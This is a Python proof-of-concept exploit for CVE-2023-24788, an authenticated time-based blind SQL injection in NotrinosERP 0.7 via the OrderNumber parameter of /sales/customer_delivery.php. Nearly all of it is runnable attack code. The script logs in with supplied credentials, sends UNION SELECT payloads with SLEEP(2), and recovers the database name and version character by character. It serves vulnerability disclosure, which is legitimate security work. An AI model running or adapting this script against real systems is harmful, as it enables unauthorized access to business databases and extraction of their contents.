# Exploit Title: NotrinosERP 0.7 - Authenticated Blind SQL Injection
# Date: 11-03-2023
# Exploit Author: Arvandy
# Blog Post: https://github.com/arvandy/CVE/blob/main/CVE-2023-24788/CVE-2023-24788.md
# Software Link: https://github.com/notrinos/NotrinosERP/releases/tag/0.7
# Vendor Homepage: https://notrinos.com/
# Version: 0.7
# Tested on: Windows, Linux
# CVE: CVE-2023-24788

"""
The endpoint /sales/customer_delivery.php is vulnerable to Authenticated Blind SQL Injection (Time-based) via the GET parameter OrderNumber. 
This endpoint can be triggered through the following menu: Sales - Sales Order Entry - Place Order - Make Delivery Against This Order.
The OrderNumber parameter require a valid orderNumber value.

This script is created as Proof of Concept to retrieve database name and version through the Blind SQL Injection that discovered on the application.
"""


import sys, requests

def injection(target, inj_str, session_cookies):    
    for j in range(32, 126):
        url = "%s/sales/customer_delivery.php?OrderNumber=%s" % (target, inj_str.replace("[CHAR]", str(j)))
        headers = {'Content-Type':'application/x-www-form-urlencoded','Cookie':'Notrinos2938c152fda6be29ce4d5ac3a638a781='+str(session_cookies)}              
        r = requests.get(url, headers=headers)
        res = r.text
        if "NotrinosERP 0.7 - Login" in res:
            session_cookies = login(target, username, password)
            headers = {'Content-Type':'application/x-www-form-urlencoded','Cookie':'Notrinos2938c152fda6be29ce4d5ac3a638a781='+str(session_cookies)}
            r = requests.get(url, headers=headers)
        elif (r.elapsed.total_seconds () > 2 ):
            return j
    return None

def login(target, username, password):
    target = "%s/index.php" % (target)
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = "user_name_entry_field=%s&password=%s&company_login_name=0" % (username, password)
    s = requests.session()
    r = s.post(target, data = data, headers = headers)
    return s.cookies.get('Notrinos2938c152fda6be29ce4d5ac3a638a781')
    
def retrieveDBName(session_cookies):   
    db_name = ""
    print("(+) Retrieving database name")
    for i in range (1,100):
        injection_str = "15+UNION+SELECT+IF(ASCII(SUBSTRING((SELECT+DATABASE()),%d,1))=[CHAR],SLEEP(2),null)-- -" % i
        retrieved_value = injection(target, injection_str, session_cookies)
        if (retrieved_value):
            db_name += chr(retrieved_value)            
        else:
            break
    print("Database Name: "+db_name) 

def retrieveDBVersion(session_cookies):
    db_version = ""
    print("(+) Retrieving database version")
    for i in range (1,100):
        injection_str = "15+UNION+SELECT+IF(ASCII(SUBSTRING((SELECT+@@version),%d,1))=[CHAR],SLEEP(2),null)-- -" % i
        retrieved_value = injection(target, injection_str, session_cookies)
        if (retrieved_value):
            db_version += chr(retrieved_value)
            sys.stdout.flush()
        else:
            break
    print("Database Version: "+db_version)

def main():
    print("(!) Login to the target application")
    session_cookies = login(target, username, password)   
    
    print("(!) Exploiting the Blind Auth SQL Injection to retrieve database name and versions")
    retrieveDBName(session_cookies)
    print("")
    retrieveDBVersion(session_cookies)
    
if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("(!) Usage: python3 exploit.py <URL> <username> <password>")
        print("(!) E.g.,: python3 exploit.py http://192.168.1.100/NotrinosERP user pass")
        sys.exit(-1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    main()